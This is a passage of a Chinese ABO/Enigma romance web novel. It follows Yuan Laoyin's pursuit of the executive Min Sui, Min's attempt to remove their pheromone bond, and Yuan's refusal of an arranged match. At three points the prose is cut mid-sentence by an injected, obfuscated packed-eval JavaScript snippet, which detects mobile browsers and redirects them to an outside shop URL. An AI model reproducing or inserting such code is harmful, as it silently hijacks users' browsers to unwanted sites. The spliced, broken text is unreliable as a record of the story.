在闵随进来之前他一直都在玩手机,听见门响后下意识按掉熄屏键,这都是少年时期在家里多次被抓熬夜锻炼出来的超强敏锐力。 原烙音感觉全身裹在水中,轻盈又舒畅,乌木的气息很浓,他这时才清醒认识到这是属于闵随的私人领地。 就算是热心市民闵先生,也不会随意借出带有隐秘色彩的休息室,更遑论床。 有什么撕开一角,渐渐露出全貌。 原烙音的眼睛很亮,他好像离成功更近一点了。 Alpha之间的标记与AO不同,双方都会吸入对方的信息素形成双向标记,但只有被咬方会感受到标记建立的痛苦。 一直以来提起的双A契合度都只针对他自己。 是他的信息素也在吸引闵随吗? 发现这个点的Alpha急促呼吸着,天生征服欲占据大脑,他想起闵随在拉乌斯蒙德那些看似礼貌的疏离,有种终于找到突破口的快感。 原烙音摸着心脏上方的腺体,上面有崎岖不平的牙印,他的手指顺着痕迹滑动,露出势在必得的笑。 残缺的腺体会治好的。 他摘掉绑在手腕的测量仪放在枕头旁,闭上眼睛。 * 原烙音没想到闵随找的地方居然是IMS公司食堂,他端着餐盘坐到闵随对面欲言又止,眼神骂得很脏。 这比想象中的差太远了吧。 设想中是顶楼可以俯瞰城市夜景的歌剧餐厅,音乐气氛加持下荷尔蒙会极速分泌,人很容易就把它误认为爱情。 这用来诓骗闵随再好不过。 但有一说一,IMS的福利真不是盖的,又大又干净,菜品多种多样还物美价廉,餐前水果餐后甜点一应俱全,食堂的水平在业内算很高了。 “小原。”闵随忽然道,他能从对Enigma而言气息驳杂的食堂准确闻见原烙音散发出来的信息素,“很高兴你来到IMS参观。” “我是为您来的,闵先生。”原烙音不愿意让闵随就此模糊他的目的,但他显然没看到闵随眼中的冷意。 “为我而来?” “闵先生,您真不知道我的心意吗?”原烙音停下筷子,那双末尾弧形的眼睛如同晶莹剔透的琥珀。 “我把你看做有潜力的后辈,或许日后有机会我们能够一起开拓IMS的未来。”又是这苍白无力的说辞,闵随不知道他是在说服原烙音还是催眠自己,“我希望不再产生没必要的暧昧,我的取向并不是Alpha。” “对于没控制住临时标记你的事,我很抱歉。”闵随把责任揽在自己身上,“你可以向我提出任何补偿,我会尽力满足。” 原烙音咀嚼的动作停止,喜欢的花椰菜失去味道。 原来是散伙饭。 还算不上散伙饭呢。 居然想用钱砸他。 “闵先生是觉得什么事情都可以用钱衡量?”原烙音差点被气笑,他又不缺钱,“您既然认识我的家人,也知道我不可能缺钱。” “你去参加万盛的观赏赛。”闵随的脑海出现原烙音束缚在赤/裸肌肤上的皮套,不合时宜地想如果戴上眼罩。 又是该死的信息素影响他! 对面的原烙音彻底失去胃口,万盛地下拳场的观赏赛名字好听,不过就是男模大赛,象征性打几拳。 从来都是长相上佳,身材好的Alpha进入擂台,就像物品被人评头论足,拿到绝对不算太多的钱。 不是走投无路没人愿意做。 但原烙音不一样,他的报酬是对手十倍以上。 “您调查我。”据他所知,闵随绝对不是个崇尚血腥暴力的人,他踩住这一漏洞不愿松开,又用模糊不清的暧昧语气问道,“来拳场看我?” “我只是接到友商的邀请,而你接受我的标记,去气息驳杂的场合对身体不好。”闵随的理由冠冕堂皇,他的唇还是如平日一般抿成直线,显然原烙音的话没对他造成半分影响,“不管是谁我都会这样做。” “拉乌斯蒙德,任何一个人微信找您,您都会去找他,会给他临时标记?”原烙音问道。 “自然,举手之劳。” 假的。 错的。 违心的。 体内完美融合后的两种信息素冲撞着他的血管,反驳他脱口而出不假思索的谎话。 可越是这样,闵随越要掌控它。 都到了这个地步,再留下来死缠烂打就过于难看,原烙音愿意追人是建立在他图谋不轨以及闵随没有把话彻底挑明的情况下。 再继续下去不够体面了。 难堪、委屈,像衣服被狠狠撕碎站在大庭广众之下。 “谢谢您的饭。”原烙音端着餐盘转身离开,并未注意到闵随直直盯着他的背影。 等原烙音彻底消失,闵随捏捏鼻梁,他这次话说得绝,原烙音这个骄傲的性子,应当撞南墙后不会再回头。 他平复着青柠信息素带给他的波澜,控制着自己的信息素去挤压吞噬,却发现属于他的部分竟然违背宿主意愿,开始保护瑟瑟发抖的青柠。 不能再放任这样的情况继续下去。 “谢垣,时间约好了吗?” “符医生说后天下午四点。” 太晚了,他等不及。 “挪时间,就今天晚上,和符忍盛协商,任何损失我来补偿。” 闵随态度强硬,钱又到位,符忍盛推后指导实验的时间,在晚上空出两个半小时的空档,闵随当即从公司出发赶往医院。 惨白的墙,简陋的装修,如果原烙音在此必能认出那就是他才待过的安全屋。 安全屋里会时刻喷撒大量空气清新剂,避免易感期Alpha接触到其他Alpha没来得及处理的信息素而陷入暴动。 几乎为零的浓度中,闵随嗅到了熟悉的气息,淡的几乎快消失的青柠香,轻易勾起他压抑许久的暴动。 “我标记了一个Alpha,只是临时标记。”闵随坐在束缚椅上,任由符忍盛给他系于他而言只有造型作用的束缚带,“他很吸引我。” 又觉得有些不准确。 “他的信息素很吸引我。” “信息素吸引你不就是人吸引你吗?你标记人家Alpha占那么大便宜还耷拉个脸。”符忍盛怼天怼地惯了,忽然意识到眼前的塔卢索是不好惹的主,咽下口水讪笑道,“额……你们塔卢索不是讲究什么命定伴侣吗?” “他的确是我的命定伴侣,但是我并不喜欢他。” 符忍盛的沉默震耳欲聋。 天爷啊,你标记人家,咬完后翻脸不认人,算什么Enigma! “什么时候可以开始拔除信息素?”Enigma没有腺体,他们的信息素存在于全身上下任何地方,只要他们愿意,每个地方都可以成为腺体,“需要换血吗?” “很遗憾的告诉您。”符忍盛带着老花眼镜瞟电脑上传来的报告,“您恐怕拔不掉那位Alpha的信息素,结合得过于紧密,现在的医疗水平达不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152804|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完美剥离。” “就像是两个独立的分子,普通的AA乃至AO临时标记只会让它们产生联系,但你与那位Alpha的信息素由于吸引融合到一起,而且是无数个分子。” “如果我非要除去呢?”他对于原烙音的态度在潜移默化的改变,即使违背他本意。 那是种族基因赋予他们的祝福,也是诅咒。 就像是温水煮青蛙,没有塔卢索能够逃离命运的枷锁,违背爱上命定伴侣的本能。 对于原烙音一切和缓的态度都是潜意识发生的,并不代表他的主观意愿。 “激化你的信息素活性,加速代谢,直接吞噬。”符忍盛也少有遇见这样的情况,EA情侣中作为标记方的Enigma受影响那么深的例子更是亘古少有。 更别说闵随还是只触手怪。 “来吧。” 药剂肌肉注射后符忍盛光速退出,锁上安全屋的大门,从玻璃观察闵随的情况。 果不其然在药剂发挥作用随着血液循环后,束缚带瞬间断裂。 半个小时后,符忍盛唰唰写着账单,满脸黑线塞给谢垣,不敢骂出声只能用手指指点点。 “就你们这个年久失修的安全屋值那么多钱?”闵随平静下来,随手抓起账单扫视,根本不像刚刚台风过境的暴虐凶残。 安全屋几乎遇到易感期攻击倾向的Alpha就会重修一遍,根本不会用好东西。 “赔就好了。”符忍盛见闵随签上大名笑出声,手机上的挂坠在他眼前扫过。 有点眼熟。 “这是我一个小辈送的,特地从拉乌斯蒙德带回来。”符忍盛注意到他的目光,递给他瞧瞧,见他好奇特意解释,“连我那些学生都有份。” 连挂件上带有的贝壳染成的颜色都一样。 闵随西装衬衫下的手臂青筋暴起,原烙音果然是虚情假意,连给他的礼物都不肯多花心思,和其他人一模一样。 “这小子还机灵,买那么多,怕是拿的批发价。”符忍盛的笑发出一半,就被谢垣狠狠一杵,他还没来得及问候,就看见闵随难看的脸色,咽了口唾沫。 他没说什么不该说的吧。 这塔卢索怎么一副被老婆背叛的死样? “时间不早,我还要去盯他们的实验,先走了。”符忍盛三十六计走为上计,揣着手机转身就走,“我劝你还是找那个Alpha补偿下人家,你信息素量级太高,那个Alpha下一次易感期会很难熬。” 下次易感期? 最少是半年以后了。 闵随不再多想,他吃惊自己刚刚过于敏感的情绪,居然因为一个挂件心里不满。 果然命定伴侣对塔卢索的吸引力在于方方面面,并不仅仅拘泥于信息素。 幸好日后若非刻意再也见不到原烙音,时间是最好的舒缓剂,那些脱离掌控的糟糕情况和管不住的生理反应再也不会出现。 但天不遂人愿,谢垣挂断电话后看向闵随。 “老板,特食的原的确是原烙音的原。” 闵随眼神一凛。 “回公司。” * 原烙音越想越气,他恨不得把闵随撕了去填他掉在地上的面子。 拉乌斯蒙德的挂件不是谁都能买的,他就不该给闵随一串,浪费他的好意。 【原烙音:爸爸,我定了二十六的机票,你和父亲记得来接我】 腺体倏地一痛,像是信息素丝丝缕缕抽离,但医用抑制贴刚刚才换新,将妄图透气的信息素全部锁在腺体里。 只会是错觉。 但这个错觉点醒了原烙音,他苦学恋爱脑精髓一到实战就忘个干干净净,明明是图谋不轨怎么搞得自己真追人被拒一样。 还恼羞成怒。 喜不喜欢闵随。 别人不知道他还不知道吗? 但是闵随已经挑体面里面最难听的话说了,他总不能真那么不识好歹非要闯枪口上。 轻重缓急他还是拎得清,放长线,钓大鱼,现在的注射抑制剂是为了以后健康的腺体。 总有一天他要让闵随心甘情愿陪他去抽腺体/液。 11. 第 11 章 成年人的交往从来就是点到为止,闵随已经把话说明白,原烙音也不会过多纠缠。 事态走向好像回归起点,两条交叉的线又重新平行。 但信息素的吸引令原烙音并不满于浅尝辄止,他在寻找接近闵随的时机,耐心的猎人从来不会急于求成,他安静地沉没在水中,只等一击必杀。 “原先生,很抱歉打扰您。” 陌生的电话打来,声音也不熟悉,原烙音没有第一时间挂电话,而是等着对方解释来意。 “您有时间到北门来一趟吗?”声音很年轻,“我是闵总的助理,谢垣,我们见过面的。” 原烙音眼前浮现出一张周正的脸,无框眼镜,气质有些像文弱书生,每次见到他都会微笑点头。 “闵总让我把东西给您。” “嗯,我马上到。” 他挂断电话,揉搓今早起床没打理的头发,套上挂在椅子上的长款羽绒服就出了门。 理智告诉他,闵随不会准备什么好东西。 但万一呢。 这个万一是千万亿万分之一,但终归是有可能的。 思考着,原烙音骑着共享单车,已经穿过光秃秃的大道,停在北门前。 “谢助理。”几个称呼在舌尖跳跃着,原烙音最后还是挑选比较恰当的那个,“麻烦您跑这一趟。” 谢垣递出个款式高级的黑盒子,是手工定制钢笔的包装盒,就在原烙音被惊喜狙中时,盒子打开。 里面静静躺着一块眼熟的测量仪。 沉默。 还是沉默。 原烙音接过盒子,几乎是从牙缝里面挤出字来,“找了好久,替我谢谢闵先生。” 那就是他居心不良故意放在休息室枕头边的测量仪,准备夸大它的重要性作为下一次见面的理由。 谁想到最后一顿饭翻车了。 “这块测量仪对我很重要,真的很感谢闵先生。”原烙音退而求其次,机会摆在眼前他不可能放过,“请您问问闵先生年前是否有时间可以吃一顿饭。” “原先生。”谢垣的职业微笑无懈可击,“您也知道IMS的年假是业内典范,年前总是要比平常忙一些的。” “或许您可以亲自问问闵总。”谢垣难掩看好戏的眼神,他的明示摆在面上,“再忙,回微信的时间还是有的。” “多谢您。” 谢垣走后,原烙音站在原地,盒子夹在大臂内侧,他掏出手机单手打字。 【原烙音:闵先生,测量仪我收到了,谢谢您】 就连最紧密的关系也无法保证秒回这一行为,原烙音也不期待闵随能够回复,经历上一次的拒绝,闵随没有删掉他的微信已经算是好结果了。 情况比他想象中的更好,在骑行的过程中手机就震动一声。 等他回到寝室楼下,准备先看消息再锁车。 【xx手机报:以旧换新实施方案来了!报废旧车买新车最高补贴1万元,今年计划加装3000部住宅电梯,详情请点击(链接)】 原来是垃圾短信。 原烙音收回笑容将测量仪戴在手腕上,顺手买了瓶水。 在付款时,手机上发弹出新消息。 【闵随:嗯】 恋爱脑瘾犯的人总是会从贫瘠的文字发掘无数种可能性,一个语气词都可能会被解读为欲拒还迎。 但原烙音只是装都装不好的典范,他实在不能从“嗯”中找到什么有用信息,若是非要硬想,那就只有礼貌的敷衍。 正常情况下感谢的话语告一段落,就该彻底结束聊天,但原烙音是进修过的无经验恋爱达人,他选择直球出击。 【原烙音:年前您有时间出来吃一顿饭吗?】 对方拒绝了他的进攻并且把话堵死。 【闵随:没有,以后再说】 以后再说就是不要再提,也没有聊天的必要了,原烙音瘫倒在床,手臂横在脸上。 这种该怎么追啊! * 一直到腊月二十六,原烙音都没有再见到闵随,所有东西都回到正轨。 离开前他帮导师去第三区的数据所拷贝资料,发送得到导师回复后,合上电脑准备打车去机场。 往手臂上注射两支副作用稍低的强效抑制剂确保安全无误后,原烙音才背着电脑包到数据所慢悠悠打车。 这里位于郊区,还算空旷。 但去机场几乎横穿整个主城区,磨磨蹭蹭肯定赶不上。 【您前面还有61/63位】 抬头,数据所门可罗雀,石板街道,不知名的树只剩下没有叶子的枝条。 鬼打的车吧。 再看还有不到六个小时的航班,原烙音顿觉人生无望。 他就不该顺手在群里回个OK。 在查看航班改签的相关事宜时,原烙音遵循第六感抬头,离他几米远的台阶上站着一人。 合身的烟灰色西装,高大的身材堵在并不宽阔的玻璃伸缩门前,光是站在那都有扑面而来的压迫感。 是闵随。 男人的表情并不好看,身后匆匆跟出来的谢垣脸上还带着尴尬的笑。 “老板,他就是狗眼看人低,您别把……”谢垣也瞥见前方的原烙音,把脱口而出的话掐灭,微微点头,“原先生。” “小原。”闵随主动与他打招呼,瞥见羽绒服下露出一点点的测量仪黑边,“东西既然重要,还是要妥善保管。” 市面上并没有这类东西,结合原烙音的反应,闵随猜测那是与监测信息素有关的定制科技产品。 珍贵程度已经不能用钱来衡量。 至于原烙音那些年轻人的小把戏,他就当没看见。 “谢谢您。”原烙音注意到闵随表情的松动,撞破别人的窘况,他有些尴尬。 闵随恐怕是大清早来数据所取资料,IMS董事长亲自前往已经给足面子,但看上去交流并不愉快。 毕竟闵随刚刚的神情就像是要把谁的脑袋捏爆。 “原先生要去哪里,顺路的话可以送您。”谢垣缓和气氛,他的目的很简单,别让自己的老板发疯砸了刚刚建立的数据所,到时候又要被约谈。 这里并不是官方组织,不过是合作挂上皇商的头衔,前几天换了一把手,背后的人和IMS不太对付。 闵随就是担心自己人来吃闭门羹,没想到就算是他亲自来也被阴阳怪气一番。 原烙音敏锐察觉到谢垣的身份可能并不是简简单单的特助,他与闵随的关系比想象中更加紧密,不然也不会越过闵随直接询问他。 “顺南机场。” “回IMS。”闵随越过原烙音往临时停车场走去。 原烙音头一次听见他那么生硬的拒绝,这是迁怒。 “您别生气。”谢垣挺身而出替发疯老板安抚未来伴侣,他朝闵随的背影挤眉弄眼,愣的几秒像是在传递什么讯息,“数据所新官上任三把火,烧了一把到闵总身上,受人指使,骂得可难听了。” “闵总今天正好要去南边,送您不会耽误事的。”要是闵随没冷静早早回到IMS,那边的总部大楼可能真的会被轰了。 物理意义上的。 手机提示铃忽然一响。 打开微信,置顶末尾的消息框依旧是闵随,最后一条消息停在一周前的动画表情。 现在多了新的两条。 【闵随:抱歉】 【闵随:我送你去机场】 要真是闵随的追求者,现在怕是早早忘记几分钟前遭受的冷遇,眉飞色舞蹦蹦跳跳地去谢主隆恩。 车还是没有打到,原烙音撇撇嘴,知道这是闵随为刚刚失礼行为的找补。 但是。 真的装死了! 原烙音犯不着跟免费坐车过不去,他背着自己的电脑包,与谢垣并肩而行。 车费少说一百多,能省则省。 “抱歉,刚才情绪失控。”闵随出乎意料站在车外,替原烙音拉开车门,“希望你能原谅。” 不过就是语气没平常那么好,这点小事原烙音还不至于上纲上线,他摆摆手。 “您能答应我的追求就行。” 昨天晚上他才刷了部新的高分电影,里面的主角就是先婚后爱甜度爆表,急得原烙音爬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152805|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来在寝室团团转,最后吃了根火腿肠。 给他一个已经和他结婚的闵随,他现在强得可怕。 但闵随显然是没懂他的梗,却意外不像前几日那么断然拒绝。 “感情的事不能强求。”他这样说。 “我开玩笑的。”原烙音讪笑道。 要真的挨骂能跟闵随在一起,甚至让闵随抽腺体/液,原烙音愿意天天挨。 车厢只能听到三人的呼吸声,丝丝缕缕看不见摸不着的青柠香牵动着闵随的思绪,他朝向靠在车窗上无所事事的Alpha道:“小原,我有事拜托你。” 原烙音的脸有一瞬间的僵硬。 看吧看吧,他就知道免费没好货。 “您说笑呢。” 他什么东西啊,能帮闵随的忙。 论专业,闵随是他的同系学长,代码写入教材的天才;论业务,他原烙音虽不是二世祖也没想过接手家里的公司,自然比不过闵随这个天生董事长圣体。 除此之外他想不到闵随要他帮什么忙。 总不会拜托他当疯狗去数据所乱咬吧。 “IMS的子公司华锐主要方向是餐饮行业,前些时间由于总部监管不利,南方片区负责人恶意竞争造成不良后果。”闵随的眼睛很疲惫,他靠在车后座,“对象是特食,我打了很多次电话,但特食不愿意私下解决。” 特食,他二叔手里的公司。 怪不得闵随忽然变态度。 这个见风使舵,看人下菜碟的伪君子! “闵先生,您需要我做什么呢。”原烙音没想答应,原仲盛电话里说IMS撬墙角应该就是这个事。 “我知道原总很忙,但希望能够给我一通电话的时间,让我表达歉意。”包括开除负责人让出市场这类赔偿措施闵随并未透露,只说了一项,“听说原总很爱山水画,我偶然在海外得到一副《影河清》,希望小原能替我带回家。” 原烙音嘴角微微抽搐。 他二叔这人就是年轻时不学无术,中年附庸风雅,那副画是他二婶在结婚纪念日画的,被他留学的蠢堂弟偷偷卖了。 一顿打,三天那小子都没下床。 “当然可以闵先生。”原烙音轻笑出声,语意一转,“那您要给我什么报酬呢。” “你想要什么。”如果能够让特食松口,挽回的损失数以亿计,相较之下,原烙音的报酬不过是九牛一毛。 牵手,拥抱,亲吻。 最好让他的进度条拉到结尾。 原烙音敢打包票,只要他敢说,闵随就敢黑脸。 “我想想。”得到IMS董事长的空白支票可不容易,他得选一个最有利于他的选项。 太贵重不好。 太便宜吃亏。 IMS入职机会是他的囊中之物,要闵随的腺体/液跟老虎拔毛没区别。 该要什么好呢。 原烙音改不掉一上车就犯困的习惯,车里放着舒缓神经的音乐,空调暖意充足,他还没想好要什么,便头一点一点地睡了过去。 身侧始作俑者的手逐渐转化为无骨的触手,伸长到地上再鬼鬼祟祟往原烙音身上钻,几乎要点在原烙音的腺体。 青柠好香。 “老板。”谢垣从后视镜看到令他魂飞魄散的一幕,连忙叫停闵随,“您该休息了。” 年末的工作堆积如山,闵随一个人掰成几个人用,连续一周都没有睡觉。 从来没有塔卢索那么有事业心。 虽然睡眠不是必需品,但休息是必要的,只要过度劳累,塔卢索就可能出现触手不受约束的行为。 “嗯。”闵随的触手飞速缩回,又变成手掌,他闭上眼睛感受眼眶内的酸涩。 还是改不掉对命定伴侣的渴望。 只要大脑松懈,那些刻在基因里的本能就会爆发,想要将原烙音包裹在触手中,最好谁也不要看见。 闵随很为难。 他清晰地认识到自己对原烙音止步于后辈的好感,最多只是因为消失的临时标记而产生的微妙情愫。 但他的触手不这么认为,已经将原烙音视为所有物。 12. 第 12 章 机场,到了。 原烙音缓缓睁开眼睛,先是有些刺目的光,紧随其后的是嘈杂的声音。 很多很杂,男男女女交谈声,各种车轱辘在地上滚动的碌碌声,还有提醒注意安全的喇叭声。 “小原,到机场了。”闵随拍拍他的肩,把画递给他,“一路顺风。” 与往常不同,多掺杂了些微妙的好意,原烙音立刻联想到闵随在车上的请求。 拒绝的时候不是拽死了说什么期待合作,现在知道卖乖了。 还不是有求于他。 诡计多端的男人! “闵先生。”原烙音准备道谢后就离开的想法瞬间扭转,他手指摩挲着,为即将到来的失礼行为而愉悦,“我想到要什么了。” 此时此刻车门已经半开,只需要一用力原烙音就可以用最快时间逃离。 “想要什么。”闵随没发现Alpha的坏心思。 原烙音的眼神在闵随脸上流连,不只是他自己,闵随也没有演绎天赋,那双眼睛藏着很多事,唯独没有心动。 他的脸越压越低,闵随上半身连摇晃都没有。 是吻吗? 闵随不知道,也不在意。 一个亲吻能够换原烙音帮他在双方斡旋,实在是再划算不过的买卖。 皮肤与皮肤的接触带来阵阵战栗,羽绒服特殊的面料在闵随的后颈摩擦,那是原烙音的双臂。 拥抱,是表达亲昵的方式,它高于握手低于接吻,只要双方愿意,瞬间就会带上暧昧的色彩。 其实只有两秒罢了。 闵随却以为时间拉得无限长,直到原烙音撤回时嘴唇擦过他的侧脸。 Alpha的笑在眼前一晃,下一刻就出现在车窗外。 “再见闵先生!” 他眨眨眼,两指并拢颇为轻佻地给了闵随一个飞吻,转身离开。 调戏人的过程是愉悦的,未知的结局是让人提心吊胆的。 飞机上的时间很无聊,原烙音想起闵随忽冷忽热的态度,也不知道该不该利用闵随有求于他继续进攻。 如果掺杂利益关系,闵随对他的感情就不会纯粹,更不可能因为那点蝇头小利冒着生命危险给他腺体/液。 后遗症虽迟但到,头晕、恶心,虽然经过无数次,原烙音还是难以抵御从血液中透露出的厌恶排斥。 现在想来车上忽然的昏睡也并非毫无原因。 市面上给正常Alpha使用的抑制剂经过多代研究更迭,已经达到99.8%非过敏使用者无不良反应的高水平标准。 如果。 如果他是个正常的Alpha。 原烙音闭上眼睛,脸上呈现的是与平日不同的冷漠。 * “哥!” 原烙音猛地抬头,在人群中认出鹤立鸡群的Alpha男性。 那人身型与原烙音相似,墨绿色工装裤,格子衬衫随意系在腰间,上半身穿着白色卫衣,烫过的头发随意抓两下,脸上架着橙色的墨镜。 酷得原烙音潮人恐惧症都快犯了。 这就是他的倒霉堂弟原衡铎。 “你不冷吗?”至于为何鹤立鸡群,除了原衡铎身高长相出众外,还有他在各色羽绒服中的春秋季打扮。 “这样帅。”原衡铎凑过来狠狠抱住他,“哥,我终于不用再出国了,你看我都饿瘦了!” “快回去吧,都等着你呢。”原衡铎悄悄瞥了眼身侧的原烙音,眉开眼笑,“哥,我手臂比你粗了!” “我现在也可以把你按在地上打。”原烙音懒得搭理小男生的奇怪心理,随便一捏就让原衡铎龇牙咧嘴。 原衡铎摸摸可能淤青的手臂,窝囊地选择上车前不跟原烙音说话。 他怎么忘了自己哥是打拳的。 原烙音并没有发现弟弟在生窝囊气,上车后从电脑包里掏出个盒子递给原衡铎。 “礼物。” 原衡铎没急着开车,拆礼物拆得飞快。 是一颗看起来就稀奇古怪的蓝色石头,晶莹剔透,形状崎岖。 “怎么还有一张卡。”原衡铎扛不住冻,还是把丢在后座的羽绒服掏出来穿上。 “给你的,你不是生活费停了吗?”原烙音单手靠在车窗,头晕的感觉并没有消失,刚刚那段路都是他强撑着走完。 原衡铎:!!! “哥,你真是我亲哥!”原衡铎这些日子过得紧巴巴的,正愁没钱用,“我爱死你了。” “我不爱你。”原烙音推开他,“快回家,饿死了。” 天上掉馅饼还接到嘴里,原衡铎喜气洋洋提前过年,他跟着车内蓝牙音响激情开麦。 原烙音想起几个小时前的拥抱,既然拿了报酬,还是得把事情办好。 “你知不知道特食和华锐这段时间怎么回事。”贸然帮闵随说话,他得跟原衡铎一样挨打。 “啊?什么!”原衡铎沉浸在音乐世界,反应后脑子还是一片空白。 “华锐是什么。”原衡铎打着方向盘,他个只知道吃喝玩乐搞艺术的二世祖根本不知道,但好像有点耳熟,“不会跟IMS那个闵什么董有关吧。” “你怎么知道?” “大伯说你认识那个我爸天天骂的闵董,我听到咯。”原衡铎耸肩,发现原烙音并无回应侧过脸瞧,却发现他哥已经睡着了。 “怎么睡眠质量那么好。”原衡铎嘀咕道。 假装睡着的原烙音拳头攥紧。 他爹这个大喇叭怎么到处说。 * 缠绕爬山虎的铁门缓缓打开,映入眼帘的是假山喷泉,精心修剪的园艺美景与清澈天空交相辉映。 “哥,醒醒,到了。” 原烙音没睡,只是因为头疼不想搭理叽叽喳喳的小麻雀。 “睡一路了,起来吃饭!。” 原烙音推门下车,准备先回房间收拾,给家人的礼物自然不同于批量购买的挂件,每一个都经过精心挑选。 让原烙音意外的是,家里来了个意想不到的人。 “学长。”沈清诺站起来,他身边还有两个原烙音不认识的中年人,应该是他的父母。 “小诺。”原烙音没有将疑惑问出口,将惊讶藏在眼底,朝Omega微微点头,“新年快乐。” “哥,你快过来,我给你带了礼物。”现在离场无疑是失礼之举,原衡铎不是这么没脑子的人,应该是有什么事告诉他。 原烙音果断起身告辞,跟着原衡铎上楼。 “哥,那个Omega你认识啊?”原衡铎挤眉弄眼,偏过头小声蛐蛐,“真是不要脸。” 也不知道在说谁。 “沈清诺,我的同门师弟。” 原衡铎的脸色愈发奇怪,“哥,你知不知道他们是上门来给你相亲的。” 相亲? 什么玩意! 原烙音眉间颦起,他才二十四岁,更何况还有腺体残缺这个病,相什么亲。 “沈家不知道从哪里得到你的信息素和他的大儿子做匹配,契合度高达93.8%,就连大伯和伯父都心动了。”原衡铎是最厌恶所谓契合度,连带着讨厌底下坐姿拘谨的Omega。 原仲盛与温宴玉从来没刻意提起过希望原烙音找到合适的Omega活得久一些,但终究是不愿意白发人送黑发人的。 “我知道了。”原烙音无法怪谁,他的病在家里几乎没人提起,父母都很努力地将他当成正常人对待。 契合度85%以上的AO伴侣已经算得上是高契合度,更别说93.8%,如果运气够好,他甚至能够因为高契合度活到四十岁。 “哥,你不会要妥协吧。”原衡铎急了,抓住原烙音的肩膀用力摇晃,“大伯投资那么多腺体研究所,会有办法的,你不能就这么认命。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152806|138537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非要用这种手段也是事态再无转圜之地,还有那么多年的机会,他不愿意原烙音后悔终生。 “我不会认命的。”原烙音的眼神很疲惫,抑制剂的副作用逐渐减弱,他靠在墙上。 或许高契合度的Omega,还比不上闵随有用。 他这么一副残破不堪的身子,何必将沈清诺给牵扯进来。 “那就好。”原衡铎松了口气,又靠到原烙音耳边,“哥,我听说下面那个女的是后妈,对那小O可不好了。” “少听点八卦。”原烙音见他没什么其他话说转身下楼,“走吧。” “哥,你要不多贴几个抑制贴?” 沈清诺带了抑制环,YS-311的药效还没过去,应该也出不了差错。 “不用。” 饭局尴尬至极,本来是给孩子的接风宴,硬生生塞进来陌生的一家人。 沈家的公司与原氏集团主攻方向有重合,沈父便不遗余力追捧原烙音,给沈清诺轰抬身价想要卖个好价钱。 吃相未免太过难看。 但原烙音从始至终都保持礼貌的疏离,不接茬,不给对方台阶说出真实目的。 “小诺。”原烙音有些无力,他自然能够察觉Omega自认为小心的目光。 千算万算,没算到沈清诺对他有意思。 对于不必要的感情,只要没有到达必须拒绝的地步,原烙音永远都选择冷处理,可沈清诺毕竟是同门,日后低头不见抬头见,他还是得把话说清楚。 “学长。”骤然被点名的Omega坐直身子。 “后面的湖很好看,我陪你出去走走?” “嗯。”沈清诺明白原烙音是要跟他把话说清楚,有些心不在焉。 “你这孩子,还不快陪原少。”沈父见他慢半拍的样子就来气,手伸到桌下狠狠推了把。 “伯父言笑了,我们家就是普通家庭,谈不上什么少不少的。”原烙音对那对把贪婪写进眼睛里的夫妻着实不喜。 沈清诺跟在他身后,打开门,一阵风吹来。 南方的风很冷,会钻进每一个缝隙,试图带走人的体温。 即使穿戴整齐,Omega也打了个寒噤,他跟在Alpha身后,踩着月光绕到别墅后的湖边。 望舒高悬,草丛中虫鸣迭起,透过皎洁月光,他们能清晰看到对方的五官。 “抱歉学长,是我父亲私自找人取到你存在医院的信息素和我配比,对不起。”沈清诺低着头不敢抬起,所谓父债子偿,他父亲那么下三滥的恶心手段就如同在喜欢的人面前狠狠给他一巴掌。 不知情也是受益者。 “不是你的错。”信息素是Alpha与Omega最重要的东西,私人色彩浓厚,被侵犯隐私的确让原烙音不爽。 但他还不至于迁怒一无所知的沈清诺。 “什么时候回来的。”原烙音从兜里掏出一张纸,递给不知什么时候满脸泪痕的Omega,“擦擦吧。” “谢谢学长。”沈清诺的声音带着哭腔,他还是低着头,用纸随便擦擦,他不明白原烙音为什么问,抽噎两声还是如实答道,“昨天晚上。” “很抱歉小诺,我不能接受你们家的要求。”把Omega当作筹码当作向上爬的梯子,这是原家最不齿的行为。 “人的生命很长,契合度只是一个数字,无论高还是低都无法阻止你找到真正的另一半。”湖边没有灯,一轮月影倒映在水面,静影沉璧,水波揉皱那完满的圆,原烙音的声音很轻。 “嗯。”沈清诺咬着下唇止住即将喷涌而出的痛哭,“谢谢你学长。” “小诺,信息素的引诱不等同于好感,不要受它蒙蔽。”原烙音说得隐晦,他不愿意伤害沈清诺。 可Omega在他声音刚落时,发出一声啜泣,之后便是嚎啕大哭。 “诶……你别哭啊!” 13. 第 13 章 